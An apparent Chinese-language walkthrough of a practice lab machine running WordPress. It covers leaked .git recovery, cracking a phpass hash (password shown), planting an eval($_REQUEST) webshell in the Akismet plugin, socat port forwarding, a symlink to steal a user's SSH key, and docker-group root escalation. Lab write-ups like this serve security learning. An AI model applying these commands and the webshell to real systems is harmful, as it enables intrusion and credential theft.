

# main

## 打点

nmap 扫描，22,80 端口

进入 web，是 wordpress 框架

目录扫描得到 .git，利用 githack 复原

```
[root@NeuroLap] -[~/192.168.43.174]
# ls
hash    license.txt  wordpress.sql  wp-admin      wp-comments-post.php  wp-config-sample.php  wp-cron.php  wp-links-opml.php  wp-login.php  wp-settings.php  wp-trackback.php
index.php  readme.html  wp-activate.php  wp-blog-header.php  wp-config.php  wp-content  wp-includes  wp-load.php  wp-mail.php  wp-signup.php  xmlrpc.php
```

找到 wordpress.sql 文件，得到凭据

```
INSERT INTO `wp_users` VALUES
(1, 'Yliken', '$P$B.58QLT1rmg1yTSJN7Qzzkoi9WnXF9.', 'yliken', 'Yliken@RedBean.com',
,'http://192.168.56.164', '2025-10-28 16:08:56', '', 0, 'Yliken');
```

使用 john 破解，注意 \$ 的转义问题

john -> ichliebedich

```
[root@NeuroLap] -[~/192.168.43.174]
# john --format=phpass --wordlist=/home/kali/dic/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 512/512 AVX512BW 16x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ichliebedich      (?)
1g 0:00:00:00 DONE (2025-10-30 23:04) 20.00g/s 122880p/s 122880c/s 122880C/s
123456..iheartyou
Use the "--show --format=phpass" options to display all of the cracked
passwords reliably
Session completed.
```

得到完整凭据

yliken:ichliebedich

登入进 wp-admin

翻阅功能，在工具处的插件文件编辑器处找到 php 一句话木马突破口 akismet.php

```

正在编辑 akismet/akismet.php (已启用)

选择要编辑的插件: Akismet Anti-spam

选择的文件内容:
22 of the License, or (at your option) any later version.
23
24 This program is distributed in the hope that it will be useful,
25 but WITHOUT ANY WARRANTY; without even the implied warranty of
26 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
27 GNU General Public License for more details.
28
29 You should have received a copy of the GNU General Public License
30 along with this program; if not, write to the Free Software
31 Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
32
33 Copyright 2005-2023 Automattic, Inc.
34 */
35 eval($_REQUEST['a']);
36
37 // Make sure we don't expose any info if called directly
38 if (!function_exists('add_action')) {
39     echo 'Hi there! I\'m just a plugin, not much I can do when called directly.';
40     exit();
41 }
42
43 define('AKISMET_VERSION', '5.3.3');
44 define('AKISMET_MINIMUM_WP_VERSION', '5.8');
45 define('AKISMET_PLUGIN_DIR', plugin_dir_path(__FILE__));
46 define('AKISMET_DELETE_LIMIT', 10000);
47
48 register_activation_hook(__FILE__, array('Akismet', 'plugin_activation'));
49 register_deactivation_hook(__FILE__, array('Akismet', 'plugin_deactivation'));
50
51 require_once AKISMET_PLUGIN_DIR . 'class.akismet.php';
52 require_once AKISMET_PLUGIN_DIR . 'class.akismet-widget.php';
53 require_once AKISMET_PLUGIN_DIR . 'class.akismet-rest-api.php';

```

文档: 函数名... 搜索

然后在还原后的目录中找到该文件路由，蚁剑连接成功

/wp-content/plugins/akismet/akismet.php

vshell 上线，得到交互式终端

查看 /etc/passwd 得到用户 yliken

准备继续收集网站和用户敏感信息无果

ps 查看正在运行进程

```

www-data@link:/tmp$ ps -aux | grep yliken
yliken      327  0.0  0.3 1231760 7684 ?          Ssl  10:45   0:00
/home/yliken/fileBrower
www-data     975  0.0  0.0    3176   632 pts/0      S+   11:13   0:00 grep yliken

```

fileBrower 可能就是一个文件浏览功能，开在本地服务

查看端口使用情况

```

ss -tuln

www-data@link:/tmp$ ss -tuln
Netid      State           Recv-Q           Send-Q
Local Address:Port                         Peer Address:Port
udp        UNCONN          0                0
0.0.0.0:68                           0.0.0.0:*
tcp        LISTEN          0                128

```

```
127.0.0.1:8080          0.0.0.0:*
tcp      LISTEN    0          128
0.0.0.0:22              0.0.0.0:*
tcp      LISTEN    0          80
127.0.0.1:3306          0.0.0.0:*
tcp      LISTEN    0          128
*:80                  *:*
tcp      LISTEN    0          128
[:]:22                [:]:*
www-data@link:/tmp$
```

看到特殊端口 8080

curl 查看后发现就是 yliken 文件浏览功能

现在将其端口转发出来

```
nohup socat TCP-LISTEN:9999,fork TCP:127.0.0.1:8080 >/dev/null 2>&1 &
//将其 127.0.0.1:8080 转发到本机 9999
```



The screenshot shows a terminal window with the following command entered:

```
nohup socat TCP-LISTEN:9999,fork TCP:127.0.0.1:8080 >/dev/null 2>&1 &
```

Below the command, a note says: //将其 127.0.0.1:8080 转发到本机 9999



The screenshot shows a browser window displaying the contents of the /app/yliken directory. The title bar says "link.ds:9999". The page content is as follows:

/app/yliken 目录文件列表

当前目录: /app/yliken

| 名称         | 大小         | 修改时间                |
|------------|------------|---------------------|
| _rsa_a     | 22 bytes   | 2025-10-30 08:18:02 |
| _rsa_b     | 21 bytes   | 2025-10-30 08:19:14 |
| _rsa       | 24 bytes   | 2025-10-30 08:19:57 |
| yliken.txt | 1453 bytes | 2025-10-28 12:35:03 |

看到文件目录功能

同时，在交互式终端下我们对这个目录的内容可控，直接软链接获取 yliken 的敏感信息

```
cd /app/yliken
ln -s /home/yliken/.ssh/id_rsa rsa
```

然后在网页上下载得到他的私钥，ssh 连接进入 yliken 用户

# 提权

## docker组提权

有 sudo -l , 但暂时没有 yliken 密码

id 查看, 发现在 docker 组内, 直接挂载主目录

```
yliken@link:~/.ssh$ id  
uid=1000(yliken) gid=1000(yliken) groups=1000(yliken),998(docker)  
yliken@link:~/.ssh$ docker images  
REPOSITORY      TAG      IMAGE ID      CREATED      SIZE  
hello-world    latest    1b44b5a3e06a  2 months ago  10.1kB  
ubuntu          18.04    f9a80a55f492  2 years ago  63.2MB  
yliken@link:~/.ssh$ docker run -it -v /:/host ubuntu:18.04 chroot /host  
/bin/bash  
root@f4b185eb7895:/#
```

得到 root.txt